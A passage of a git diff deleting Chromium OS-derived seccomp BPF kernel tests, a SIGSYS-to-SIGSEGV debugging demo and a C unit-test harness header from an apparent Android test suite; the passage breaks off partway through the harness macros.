-
-	/* Wake the threads */
-	pthread_mutex_lock(&self->mutex);
-	ASSERT_EQ(0, pthread_cond_broadcast(&self->cond)) {
-		TH_LOG("cond broadcast non-zero");
-	}
-	pthread_mutex_unlock(&self->mutex);
-
-	/* Ensure they are both unkilled. */
-	pthread_join(self->sibling[0].tid, &status);
-	EXPECT_EQ(SIBLING_EXIT_UNKILLED, (long)status);
-	pthread_join(self->sibling[1].tid, &status);
-	EXPECT_EQ(SIBLING_EXIT_UNKILLED, (long)status);
-}
-
-TEST_F(TSYNC, two_siblings_not_under_filter) {
-	long ret, sib;
-	void *status;
-
-	ASSERT_EQ(0, prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
-		TH_LOG("Kernel does not support PR_SET_NO_NEW_PRIVS!");
-	}
-
-	/*
-	 * Sibling 0 will have its own seccomp policy
-	 * and Sibling 1 will not be under seccomp at
-	 * all. Sibling 1 will enter seccomp and 0
-	 * will cause failure.
-	 */
-	self->sibling[0].diverge = 1;
-	tsync_start_sibling(&self->sibling[0]);
-	tsync_start_sibling(&self->sibling[1]);
-
-	while (self->sibling_count < TSYNC_SIBLINGS) {
-		sem_wait(&self->started);
-		self->sibling_count++;
-	}
-
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, 0, &self->root_prog);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("Kernel does not support SECCOMP_SET_MODE_FILTER!");
-	}
-
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FLAG_FILTER_TSYNC,
-		      &self->apply_prog);
-	ASSERT_EQ(ret, self->sibling[0].system_tid) {
-		TH_LOG("Did not fail on diverged sibling.");
-	}
-	sib = 1;
-	if (ret == self->sibling[0].system_tid)
-		sib = 0;
-
-	pthread_mutex_lock(&self->mutex);
-
-	/* Increment the other siblings num_waits so we can clean up
-	 * the one we just saw.
-	 */
-	self->sibling[!sib].num_waits += 1;
-
-	/* Signal the thread to clean up*/
-	ASSERT_EQ(0, pthread_cond_broadcast(&self->cond)) {
-		TH_LOG("cond broadcast non-zero");
-	}
-	pthread_mutex_unlock(&self->mutex);
-	pthread_join(self->sibling[sib].tid, &status);
-	EXPECT_EQ(SIBLING_EXIT_UNKILLED, (long)status);
-	/* Poll for actual task death. pthread_join doesn't guarantee it. */
-	while (!kill(self->sibling[sib].system_tid, 0)) sleep(0.1);
-	/* Switch to the remaining sibling */
-	sib = !sib;
-
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FLAG_FILTER_TSYNC,
-		      &self->apply_prog);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("Expected the remaining sibling to sync");
-	};
-
-	pthread_mutex_lock(&self->mutex);
-
-	/* If remaining sibling didn't have a chance to wake up during
-	 * the first broadcast, manually reduce the num_waits now.
-	 */
-	if (self->sibling[sib].num_waits > 1)
-		self->sibling[sib].num_waits = 1;
-	ASSERT_EQ(0, pthread_cond_broadcast(&self->cond)) {
-		TH_LOG("cond broadcast non-zero");
-	}
-	pthread_mutex_unlock(&self->mutex);
-	pthread_join(self->sibling[sib].tid, &status);
-	EXPECT_EQ(0, (long)status);
-	/* Poll for actual task death. pthread_join doesn't guarantee it. */
-	while (!kill(self->sibling[sib].system_tid, 0)) sleep(0.1);
-
-	ret = seccomp(SECCOMP_SET_MODE_FILTER, SECCOMP_FLAG_FILTER_TSYNC,
-		      &self->apply_prog);
-	ASSERT_EQ(0, ret);  /* just us chickens */
-}
-
-/* Make sure restarted syscalls are seen directly as "restart_syscall". */
-TEST(syscall_restart)
-{
-	long ret;
-	unsigned long msg;
-	pid_t child_pid;
-	int pipefd[2];
-	int status;
-	siginfo_t info = { };
-	struct sock_filter filter[] = {
-		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
-			 offsetof(struct seccomp_data, nr)),
-
-#ifdef __NR_sigreturn
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_sigreturn, 6, 0),
-#endif
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_read, 5, 0),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_exit, 4, 0),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_rt_sigreturn, 3, 0),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_nanosleep, 4, 0),
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_restart_syscall, 4, 0),
-
-		/* Allow __NR_write for easy logging. */
-		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_write, 0, 1),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_KILL),
-		/* The nanosleep jump target. */
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_TRACE|0x100),
-		/* The restart_syscall jump target. */
-		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_TRACE|0x200),
-	};
-	struct sock_fprog prog = {
-		.len = (unsigned short) (sizeof(filter)/sizeof(filter[0])),
-		.filter = filter,
-	};
-#if defined(__arm__)
-	struct utsname utsbuf;
-#endif
-
-	ASSERT_EQ(0, pipe(pipefd));
-
-	child_pid = fork();
-	ASSERT_LE(0, child_pid);
-	if (child_pid == 0) {
-		/* Child uses EXPECT not ASSERT to deliver status correctly. */
-		char buf = ' ';
-		struct timespec timeout = { };
-
-		/* Attach parent as tracer and stop. */
-		EXPECT_EQ(0, ptrace(PTRACE_TRACEME));
-		EXPECT_EQ(0, raise(SIGSTOP));
-
-		EXPECT_EQ(0, close(pipefd[1]));
-
-		EXPECT_EQ(0, prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
-			TH_LOG("Kernel does not support PR_SET_NO_NEW_PRIVS!");
-		}
-
-		ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog, 0, 0);
-		EXPECT_EQ(0, ret) {
-			TH_LOG("Failed to install filter!");
-		}
-
-		EXPECT_EQ(1, read(pipefd[0], &buf, 1)) {
-			TH_LOG("Failed to read() sync from parent");
-		}
-		EXPECT_EQ('.', buf) {
-			TH_LOG("Failed to get sync data from read()");
-		}
-
-		/* Start nanosleep to be interrupted. */
-		timeout.tv_sec = 1;
-		errno = 0;
-		EXPECT_EQ(0, nanosleep(&timeout, NULL)) {
-			TH_LOG("Call to nanosleep() failed (errno %d)", errno);
-		}
-
-		/* Read final sync from parent. */
-		EXPECT_EQ(1, read(pipefd[0], &buf, 1)) {
-			TH_LOG("Failed final read() from parent");
-		}
-		EXPECT_EQ('!', buf) {
-			TH_LOG("Failed to get final data from read()");
-		}
-
-		/* Directly report the status of our test harness results. */
-		syscall(__NR_exit, _metadata->passed ? EXIT_SUCCESS
-						     : EXIT_FAILURE);
-	}
-	EXPECT_EQ(0, close(pipefd[0]));
-
-	/* Attach to child, setup options, and release. */
-	ASSERT_EQ(child_pid, waitpid(child_pid, &status, 0));
-	ASSERT_EQ(true, WIFSTOPPED(status));
-	ASSERT_EQ(0, ptrace(PTRACE_SETOPTIONS, child_pid, NULL,
-			    PTRACE_O_TRACESECCOMP));
-	ASSERT_EQ(0, ptrace(PTRACE_CONT, child_pid, NULL, 0));
-	ASSERT_EQ(1, write(pipefd[1], ".", 1));
-
-	/* Wait for nanosleep() to start. */
-	ASSERT_EQ(child_pid, waitpid(child_pid, &status, 0));
-	ASSERT_EQ(true, WIFSTOPPED(status));
-	ASSERT_EQ(SIGTRAP, WSTOPSIG(status));
-	ASSERT_EQ(PTRACE_EVENT_SECCOMP, (status >> 16));
-	ASSERT_EQ(0, ptrace(PTRACE_GETEVENTMSG, child_pid, NULL, &msg));
-	ASSERT_EQ(0x100, msg);
-	EXPECT_EQ(__NR_nanosleep, get_syscall(_metadata, child_pid));
-
-	/* Might as well check siginfo for sanity while we're here. */
-	ASSERT_EQ(0, ptrace(PTRACE_GETSIGINFO, child_pid, NULL, &info));
-	ASSERT_EQ(SIGTRAP, info.si_signo);
-	ASSERT_EQ(SIGTRAP | (PTRACE_EVENT_SECCOMP << 8), info.si_code);
-	EXPECT_EQ(0, info.si_errno);
-	EXPECT_EQ(getuid(), info.si_uid);
-	/* Verify signal delivery came from child (seccomp-triggered). */
-	EXPECT_EQ(child_pid, info.si_pid);
-
-	/* Interrupt nanosleep with SIGSTOP (which we'll need to handle). */
-	ASSERT_EQ(0, kill(child_pid, SIGSTOP));
-	ASSERT_EQ(0, ptrace(PTRACE_CONT, child_pid, NULL, 0));
-	ASSERT_EQ(child_pid, waitpid(child_pid, &status, 0));
-	ASSERT_EQ(true, WIFSTOPPED(status));
-	ASSERT_EQ(SIGSTOP, WSTOPSIG(status));
-	/* Verify signal delivery came from parent now. */
-	ASSERT_EQ(0, ptrace(PTRACE_GETSIGINFO, child_pid, NULL, &info));
-	EXPECT_EQ(getpid(), info.si_pid);
-
-	/* Restart nanosleep with SIGCONT, which triggers restart_syscall. */
-	ASSERT_EQ(0, kill(child_pid, SIGCONT));
-	ASSERT_EQ(0, ptrace(PTRACE_CONT, child_pid, NULL, 0));
-	ASSERT_EQ(child_pid, waitpid(child_pid, &status, 0));
-	ASSERT_EQ(true, WIFSTOPPED(status));
-	ASSERT_EQ(SIGCONT, WSTOPSIG(status));
-	ASSERT_EQ(0, ptrace(PTRACE_CONT, child_pid, NULL, 0));
-
-	/* Wait for restart_syscall() to start. */
-	ASSERT_EQ(child_pid, waitpid(child_pid, &status, 0));
-	ASSERT_EQ(true, WIFSTOPPED(status));
-	ASSERT_EQ(SIGTRAP, WSTOPSIG(status));
-	ASSERT_EQ(PTRACE_EVENT_SECCOMP, (status >> 16));
-	ASSERT_EQ(0, ptrace(PTRACE_GETEVENTMSG, child_pid, NULL, &msg));
-
-	ASSERT_EQ(0x200, msg);
-	ret = get_syscall(_metadata, child_pid);
-#if defined(__arm__)
-	/*
-	 * FIXME:
-	 * - native ARM registers do NOT expose true syscall.
-	 * - compat ARM registers on ARM64 DO expose true syscall.
-	 */
-	ASSERT_EQ(0, uname(&utsbuf));
-	if (strncmp(utsbuf.machine, "arm", 3) == 0) {
-		EXPECT_EQ(__NR_nanosleep, ret);
-	} else
-#endif
-	{
-		EXPECT_EQ(__NR_restart_syscall, ret);
-	}
-
-	/* Write again to end test. */
-	ASSERT_EQ(0, ptrace(PTRACE_CONT, child_pid, NULL, 0));
-	ASSERT_EQ(1, write(pipefd[1], "!", 1));
-	EXPECT_EQ(0, close(pipefd[1]));
-
-	ASSERT_EQ(child_pid, waitpid(child_pid, &status, 0));
-	if (WIFSIGNALED(status) || WEXITSTATUS(status))
-		_metadata->passed = 0;
-}
-
-/*
- * TODO:
- * - add microbenchmarks
- * - expand NNP testing
- * - better arch-specific TRACE and TRAP handlers.
- * - endianness checking when appropriate
- * - 64-bit arg prodding
- * - arch value testing (x86 modes especially)
- * - ...
- */
-
-// ANDROID:begin
-struct __test_metadata* get_seccomp_test_list() {
-  return __test_list;
-}
-// ANDROID:end
-
-TEST_HARNESS_MAIN
diff --git a/tests/tests/os/jni/seccomp-tests/tests/sigsegv.c b/tests/tests/os/jni/seccomp-tests/tests/sigsegv.c
deleted file mode 100644
index a0d06e7..0000000
--- a/tests/tests/os/jni/seccomp-tests/tests/sigsegv.c
+++ /dev/null
@@ -1,179 +0,0 @@
-/* sigsegv.c
- * Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
- * Use of this source code is governed by a BSD-style license that can be
- * found in the LICENSE file.
- *
- * Forces a denied system call to trigger a SIGSEGV at the instruction after
- * the call using a SIGSYS handler.. This can be useful when debugging
- * frameworks have trouble tracing through the SIGSYS handler.
- * Proof of concept using amd64 registers and 'syscall'.
- */
-
-#include <asm/siginfo.h>
-#define __have_siginfo_t 1
-#define __have_sigval_t 1
-#define __have_sigevent_t 1
-
-#include <linux/filter.h>
-#include <sys/prctl.h>
-#include <linux/prctl.h>
-#include <linux/seccomp.h>
-#include <limits.h>
-#include <stddef.h>
-#include <stdbool.h>
-#include <string.h>
-#include <syscall.h>
-#define __USE_GNU 1
-#include <sys/ucontext.h>
-#include <sys/mman.h>
-
-#include "test_harness.h"
-
-#ifndef PR_SET_NO_NEW_PRIVS
-#define PR_SET_NO_NEW_PRIVS 38
-#define PR_GET_NO_NEW_PRIVS 39
-#endif
-
-#if defined(__i386__)
-#define REG_IP	REG_EIP
-#define REG_SP	REG_ESP
-#define REG_RESULT	REG_EAX
-#define REG_SYSCALL	REG_EAX
-#define REG_ARG0	REG_EBX
-#define REG_ARG1	REG_ECX
-#define REG_ARG2	REG_EDX
-#define REG_ARG3	REG_ESI
-#define REG_ARG4	REG_EDI
-#define REG_ARG5	REG_EBP
-#elif defined(__x86_64__)
-#define REG_IP	REG_RIP
-#define REG_SP	REG_RSP
-#define REG_RESULT	REG_RAX
-#define REG_SYSCALL	REG_RAX
-#define REG_ARG0	REG_RDI
-#define REG_ARG1	REG_RSI
-#define REG_ARG2	REG_RDX
-#define REG_ARG3	REG_R10
-#define REG_ARG4	REG_R8
-#define REG_ARG5	REG_R9
-#endif
-
-FIXTURE_DATA(TRAP) {
-	struct sock_fprog prog;
-};
-
-FIXTURE_SETUP(TRAP) {
-	/* instruction after the syscall. Will be arch specific, of course. */
-	{
-		struct sock_filter filter[] = {
-			BPF_STMT(BPF_LD+BPF_W+BPF_ABS,
-				offsetof(struct seccomp_data, nr)),
-			/* Whitelist anything you might need in the sigaction */
-#ifdef __NR_sigreturn
-			BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_sigreturn, 4, 0),
-#endif
-			/* TODO: only allow PROT_NONE */
-			BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_mprotect, 3, 0),
-			BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_exit, 2, 0),
-			BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_rt_sigreturn, 1, 0),
-			/* Allow __NR_write so easy logging. */
-			BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_write, 0, 1),
-			BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
-			BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_TRAP),
-		};
-		memset(&self->prog, 0, sizeof(self->prog));
-		self->prog.filter = malloc(sizeof(filter));
-		ASSERT_NE(NULL, self->prog.filter);
-		memcpy(self->prog.filter, filter, sizeof(filter));
-		self->prog.len = (unsigned short)(sizeof(filter)/sizeof(filter[0]));
-	}
-}
-
-FIXTURE_TEARDOWN(TRAP) {
-	if (self->prog.filter)
-		free(self->prog.filter);
-};
-
-struct arch_sigsys {
-		void *_call_addr; /* calling user insn */
-		int _syscall;	/* triggering system call number */
-		unsigned int _arch;	/* AUDIT_ARCH_* of syscall */
-};
-
-#define _ALIGN(x,sz) (((x + ((sz)-1)) & ~((sz)-1)) - (sz))
-#define ALIGN(x,sz) ((typeof(x))_ALIGN((unsigned long)(x),(unsigned long)(sz)))
-static long local_mprotect(void *target, unsigned long sz)
-{
-	register unsigned long res asm ("rax") = __NR_mprotect;
-	__attribute__((unused)) register void *addr asm ("rdi") = ALIGN(target, sz);
-	__attribute__((unused)) register long len asm ("rsi") = sz;
-	__attribute__((unused)) register long num asm ("rdx") = PROT_NONE;
-	__asm__("syscall\n");
-	return res;
-}
-
-static void TRAP_action(int nr, siginfo_t *info, void *void_context)
-{
-	ucontext_t *ctx = (ucontext_t *)void_context;
-	char buf[256];
-	int len;
-	struct arch_sigsys *sys = (struct arch_sigsys *)
-#ifdef si_syscall
-		&(info->si_call_addr);
-#else
-		&(info->si_pid);
-#endif
-
-	if (info->si_code != SYS_SECCOMP)
-		return;
-	if (!ctx)
-		return;
-	len = snprintf(buf, sizeof(buf),
-			"@0x%lX:%X:%d:0x%lX:0x%lX:0x%lX:0x%lX:0x%lX:0x%lX [0x%lX]\n",
-			(unsigned long)sys->_call_addr,
-			sys->_arch,
-			sys->_syscall,
-			(unsigned long)ctx->uc_mcontext.gregs[REG_ARG0],
-			(unsigned long)ctx->uc_mcontext.gregs[REG_ARG1],
-			(unsigned long)ctx->uc_mcontext.gregs[REG_ARG2],
-			(unsigned long)ctx->uc_mcontext.gregs[REG_ARG3],
-			(unsigned long)ctx->uc_mcontext.gregs[REG_ARG4],
-			(unsigned long)ctx->uc_mcontext.gregs[REG_ARG5],
-			(unsigned long)ALIGN(ctx->uc_mcontext.gregs[REG_IP],
-			4096));
-	/* Emit some useful logs or whatever. */
-	syscall(__NR_write, STDOUT_FILENO, buf, len);
-	/* Make the calling page non-exec */
-	/* Careful on how it is called since it may make the syscall() instructions non-exec. */
-	local_mprotect((void *)ctx->uc_mcontext.gregs[REG_IP], sysconf(_SC_PAGE_SIZE));
-}
-
-TEST_F_SIGNAL(TRAP, sigsegv, SIGSEGV) {
-	int ret;
-	struct sigaction act;
-	sigset_t mask;
-	memset(&act, 0, sizeof(act));
-	sigemptyset(&mask);
-	sigaddset(&mask, SIGSYS);
-
-	act.sa_sigaction = &TRAP_action;
-	act.sa_flags = SA_SIGINFO;
-	ret = sigaction(SIGSYS, &act, NULL);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("sigaction failed");
-	}
-	ret = sigprocmask(SIG_UNBLOCK, &mask, NULL);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("sigprocmask failed");
-	}
-
-	ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->prog);
-	ASSERT_EQ(0, ret);
-
-	/* Call anything! */
-	ret = syscall(__NR_getpid);
-}
-
-TEST_HARNESS_MAIN
diff --git a/tests/tests/os/jni/seccomp-tests/tests/test_harness.h b/tests/tests/os/jni/seccomp-tests/tests/test_harness.h
deleted file mode 100644
index 597e40c..0000000
--- a/tests/tests/os/jni/seccomp-tests/tests/test_harness.h
+++ /dev/null
@@ -1,521 +0,0 @@
-/* Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
- * Use of this source code is governed by a BSD-style license that can be
- * found in the LICENSE file.
- *
- * test_harness.h: simple C unit test helper.
- *
- * Usage:
- *   #include "test_harness.h"
- *   TEST(standalone_test) {
- *     do_some_stuff;
- *     EXPECT_GT(10, stuff) {
- *        stuff_state_t state;
- *        enumerate_stuff_state(&state);
- *        TH_LOG("expectation failed with state: %s", state.msg);
- *     }
- *     more_stuff;
- *     ASSERT_NE(some_stuff, NULL) TH_LOG("how did it happen?!");
- *     last_stuff;
- *     EXPECT_EQ(0, last_stuff);
- *   }
- *
- *   FIXTURE(my_fixture) {
- *     mytype_t *data;
- *     int awesomeness_level;
- *   };
- *   FIXTURE_SETUP(my_fixture) {
- *     self->data = mytype_new();
- *     ASSERT_NE(NULL, self->data);
- *   }
- *   FIXTURE_TEARDOWN(my_fixture) {
- *     mytype_free(self->data);
- *   }
- *   TEST_F(my_fixture, data_is_good) {
- *     EXPECT_EQ(1, is_my_data_good(self->data));
- *   }
- *
- *   TEST_HARNESS_MAIN
- *
- * API inspired by code.google.com/p/googletest
- */
-#ifndef TEST_HARNESS_H_
-#define TEST_HARNESS_H_
-
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-#include <android/log.h>  // ANDROID
-
-/* All exported functionality should be declared through this macro. */
-#define TEST_API(x) _##x
-
-/*
- * Exported APIs
- */
-
-/* TEST(name) { implementation }
- * Defines a test by name.
- * Names must be unique and tests must not be run in parallel.  The
- * implementation containing block is a function and scoping should be treated
- * as such.  Returning early may be performed with a bare "return;" statement.
- *
- * EXPECT_* and ASSERT_* are valid in a TEST() { } context.
- */
-#define TEST TEST_API(TEST)
-
-/* TEST_SIGNAL(name, signal) { implementation }
- * Defines a test by name and the expected term signal.
- * Names must be unique and tests must not be run in parallel.  The
- * implementation containing block is a function and scoping should be treated
- * as such.  Returning early may be performed with a bare "return;" statement.
- *
- * EXPECT_* and ASSERT_* are valid in a TEST() { } context.
- */
-#define TEST_SIGNAL TEST_API(TEST_SIGNAL)
-
-/* FIXTURE(datatype name) {
- *   type property1;
- *   ...
- * };
- * Defines the data provided to TEST_F()-defined tests as |self|.  It should be
- * populated and cleaned up using FIXTURE_SETUP and FIXTURE_TEARDOWN.
- */
-#define FIXTURE TEST_API(FIXTURE)
-
-/* FIXTURE_DATA(datatype name)
- * This call may be used when the type of the fixture data
- * is needed.  In general, this should not be needed unless
- * the |self| is being passed to a helper directly.
- */
-#define FIXTURE_DATA TEST_API(FIXTURE_DATA)
-
-/* FIXTURE_SETUP(fixture name) { implementation }
- * Populates the required "setup" function for a fixture.  An instance of the
- * datatype defined with _FIXTURE_DATA will be exposed as |self| for the
- * implementation.
- *
- * ASSERT_* are valid for use in this context and will prempt the execution
- * of any dependent fixture tests.
- *
- * A bare "return;" statement may be used to return early.
- */
-#define FIXTURE_SETUP TEST_API(FIXTURE_SETUP)
-
-/* FIXTURE_TEARDOWN(fixture name) { implementation }
- * Populates the required "teardown" function for a fixture.  An instance of the
- * datatype defined with _FIXTURE_DATA will be exposed as |self| for the
- * implementation to clean up.
- *
- * A bare "return;" statement may be used to return early.
- */
-#define FIXTURE_TEARDOWN TEST_API(FIXTURE_TEARDOWN)
-
-/* TEST_F(fixture, name) { implementation }
- * Defines a test that depends on a fixture (e.g., is part of a test case).
- * Very similar to TEST() except that |self| is the setup instance of fixture's
- * datatype exposed for use by the implementation.
- */
-#define TEST_F TEST_API(TEST_F)
-
-#define TEST_F_SIGNAL TEST_API(TEST_F_SIGNAL)
-
-/* Use once to append a main() to the test file. E.g.,
- *   TEST_HARNESS_MAIN
- */
-#define TEST_HARNESS_MAIN TEST_API(TEST_HARNESS_MAIN)
-
-/*
- * Operators for use in TEST and TEST_F.
- * ASSERT_* calls will stop test execution immediately.
- * EXPECT_* calls will emit a failure warning, note it, and continue.
- */
-
-/* ASSERT_EQ(expected, measured): expected == measured */
-#define ASSERT_EQ TEST_API(ASSERT_EQ)
-/* ASSERT_NE(expected, measured): expected != measured */
-#define ASSERT_NE TEST_API(ASSERT_NE)
-/* ASSERT_LT(expected, measured): expected < measured */
-#define ASSERT_LT TEST_API(ASSERT_LT)
-/* ASSERT_LE(expected, measured): expected <= measured */
-#define ASSERT_LE TEST_API(ASSERT_LE)
-/* ASSERT_GT(expected, measured): expected > measured */
-#define ASSERT_GT TEST_API(ASSERT_GT)
-/* ASSERT_GE(expected, measured): expected >= measured */
-#define ASSERT_GE TEST_API(ASSERT_GE)
-/* ASSERT_NULL(measured): NULL == measured */
-#define ASSERT_NULL TEST_API(ASSERT_NULL)
-/* ASSERT_TRUE(measured): measured != 0 */
-#define ASSERT_TRUE TEST_API(ASSERT_TRUE)
-/* ASSERT_FALSE(measured): measured == 0 */
-#define ASSERT_FALSE TEST_API(ASSERT_FALSE)
-/* ASSERT_STREQ(expected, measured): !strcmp(expected, measured) */
-#define ASSERT_STREQ TEST_API(ASSERT_STREQ)
-/* ASSERT_STRNE(expected, measured): strcmp(expected, measured) */
-#define ASSERT_STRNE TEST_API(ASSERT_STRNE)
-/* EXPECT_EQ(expected, measured): expected == measured */
-#define EXPECT_EQ TEST_API(EXPECT_EQ)
-/* EXPECT_NE(expected, measured): expected != measured */
-#define EXPECT_NE TEST_API(EXPECT_NE)
-/* EXPECT_LT(expected, measured): expected < measured */
-#define EXPECT_LT TEST_API(EXPECT_LT)
-/* EXPECT_LE(expected, measured): expected <= measured */
-#define EXPECT_LE TEST_API(EXPECT_LE)
-/* EXPECT_GT(expected, measured): expected > measured */
-#define EXPECT_GT TEST_API(EXPECT_GT)
-/* EXPECT_GE(expected, measured): expected >= measured */
-#define EXPECT_GE TEST_API(EXPECT_GE)
-/* EXPECT_NULL(measured): NULL == measured */
-#define EXPECT_NULL TEST_API(EXPECT_NULL)
-/* EXPECT_TRUE(measured): 0 != measured */
-#define EXPECT_TRUE TEST_API(EXPECT_TRUE)
-/* EXPECT_FALSE(measured): 0 == measured */
-#define EXPECT_FALSE TEST_API(EXPECT_FALSE)
-/* EXPECT_STREQ(expected, measured): !strcmp(expected, measured) */
-#define EXPECT_STREQ TEST_API(EXPECT_STREQ)
-/* EXPECT_STRNE(expected, measured): strcmp(expected, measured) */
-#define EXPECT_STRNE TEST_API(EXPECT_STRNE)
-
-/* TH_LOG(format, ...)
- * Optional debug logging function available for use in tests.
- * Logging may be enabled or disabled by defining TH_LOG_ENABLED.
- * E.g., #define TH_LOG_ENABLED 1
- * If no definition is provided, logging is enabled by default.
- */
-#define TH_LOG  TEST_API(TH_LOG)
-
-/*
- * Internal implementation.
- *
- */
-
-/* Utilities exposed to the test definitions */
-#ifndef TH_LOG_STREAM
-#  define TH_LOG_STREAM stderr
-#endif
-
-#ifndef TH_LOG_ENABLED
-#  define TH_LOG_ENABLED 1
-#endif
-
-#define _TH_LOG(fmt, ...) do { \
-  if (TH_LOG_ENABLED) \
-    __TH_LOG(fmt, ##__VA_ARGS__); \
-} while (0)
-
-/* Unconditional logger for internal use. */
-// ANDROID:begin
-#define __TH_LOG(fmt, ...) \
-    __android_log_print(ANDROID_LOG_ERROR, "SeccompBpfTest-KernelUnit", "%s:%d:%s:" fmt "\n", \
-            __FILE__, __LINE__, _metadata->name, ##__VA_ARGS__)
-// ANDROID:end
-
-/* Defines the test function and creates the registration stub. */
-#define _TEST(test_name) __TEST_IMPL(test_name, -1)
-
-#define _TEST_SIGNAL(test_name, signal) __TEST_IMPL(test_name, signal)
-
-#define __TEST_IMPL(test_name, _signal) \
-  static void test_name(struct __test_metadata *_metadata); \
-  static struct __test_metadata _##test_name##_object = \
-    { name: "global." #test_name, fn: &test_name, termsig: _signal }; \
-  static void __attribute__((constructor)) _register_##test_name(void) { \
-    __register_test(&_##test_name##_object); \
-  } \
-  static void test_name( \
-    struct __test_metadata __attribute__((unused)) *_metadata)
-
-/* Wraps the struct name so we have one less argument to pass around. */
-#define _FIXTURE_DATA(fixture_name) struct _test_data_##fixture_name
-
-/* Called once per fixture to setup the data and register. */
-#define _FIXTURE(fixture_name) \
-  static void __attribute__((constructor)) \
-      _register_##fixture_name##_data(void) { \
-    __fixture_count++; \
-  } \
-  _FIXTURE_DATA(fixture_name)
-
-/* Prepares the setup function for the fixture.  |_metadata| is included
- * so that ASSERT_* work as a convenience.
- */
-#define _FIXTURE_SETUP(fixture_name) \
-  void fixture_name##_setup( \
-    struct __test_metadata __attribute__((unused)) *_metadata, \
-    _FIXTURE_DATA(fixture_name) __attribute__((unused)) *self)
-#define _FIXTURE_TEARDOWN(fixture_name) \
-  void fixture_name##_teardown( \
-    struct __test_metadata __attribute__((unused)) *_metadata, \
-    _FIXTURE_DATA(fixture_name) __attribute__((unused)) *self)
-
-/* Emits test registration and helpers for fixture-based test
- * cases.
- * TODO(wad) register fixtures on dedicated test lists.
- */
-#define _TEST_F(fixture_name, test_name) \
-  __TEST_F_IMPL(fixture_name, test_name, -1)
-
-#define _TEST_F_SIGNAL(fixture_name, test_name, signal) \
-  __TEST_F_IMPL(fixture_name, test_name, signal)
-
-#define __TEST_F_IMPL(fixture_name, test_name, signal) \
-  static void fixture_name##_##test_name( \
-    struct __test_metadata *_metadata, \
-    _FIXTURE_DATA(fixture_name) *self); \
-  static inline void wrapper_##fixture_name##_##test_name( \
-    struct __test_metadata *_metadata) { \
-    /* fixture data is allocated, setup, and torn down per call. */ \
-    _FIXTURE_DATA(fixture_name) self; \
-    memset(&self, 0, sizeof(_FIXTURE_DATA(fixture_name))); \
-    fixture_name##_setup(_metadata, &self); \
-    /* Let setup failure terminate early. */ \
-    if (!_metadata->passed) return; \
-    fixture_name##_##test_name(_metadata, &self); \
-    fixture_name##_teardown(_metadata, &self); \
-  } \
-  static struct __test_metadata _##fixture_name##_##test_name##_object = { \
-    name: #fixture_name "." #test_name, \
-    fn: &wrapper_##fixture_name##_##test_name, \
-    termsig: signal, \
-   }; \
-  static void __attribute__((constructor)) \
-      _register_##fixture_name##_##test_name(void) { \
-    __register_test(&_##fixture_name##_##test_name##_object); \
-  } \
-  static void fixture_name##_##test_name( \
-    struct __test_metadata __attribute__((unused)) *_metadata, \
-    _FIXTURE_DATA(fixture_name) __attribute__((unused)) *self)
-
-/* Exports a simple wrapper to run the test harness. */
-#define _TEST_HARNESS_MAIN \
-  static void __attribute__((constructor)) __constructor_order_last(void) { \
-    if (!__constructor_order) \
-      __constructor_order = _CONSTRUCTOR_ORDER_BACKWARD; \
-  } \
-  int seccomp_test_main(int argc, char **argv) { return test_harness_run(argc, argv); }  // ANDROID
-
-#define _ASSERT_EQ(_expected, _seen) \
-  __EXPECT(_expected, _seen, ==, 1)
-#define _ASSERT_NE(_expected, _seen) \
-  __EXPECT(_expected, _seen, !=, 1)
-#define _ASSERT_LT(_expected, _seen) \
-  __EXPECT(_expected, _seen, <, 1)
-#define _ASSERT_LE(_expected, _seen) \
-  __EXPECT(_expected, _seen, <=, 1)
-#define _ASSERT_GT(_expected, _seen) \
-  __EXPECT(_expected, _seen, >, 1)
-#define _ASSERT_GE(_expected, _seen) \
-  __EXPECT(_expected, _seen, >=, 1)
-#define _ASSERT_NULL(_seen) \
-  __EXPECT(NULL, _seen, ==, 1)
-
-#define _ASSERT_TRUE(_seen) \
-  _ASSERT_NE(0, _seen)
-#define _ASSERT_FALSE(_seen) \
-  _ASSERT_EQ(0, _seen)
-#define _ASSERT_STREQ(_expected, _seen) \
-  __EXPECT_STR(_expected, _seen, ==, 1)
-#define _ASSERT_STRNE(_expected, _seen) \
-  __EXPECT_STR(_expected, _seen, !=, 1)
-
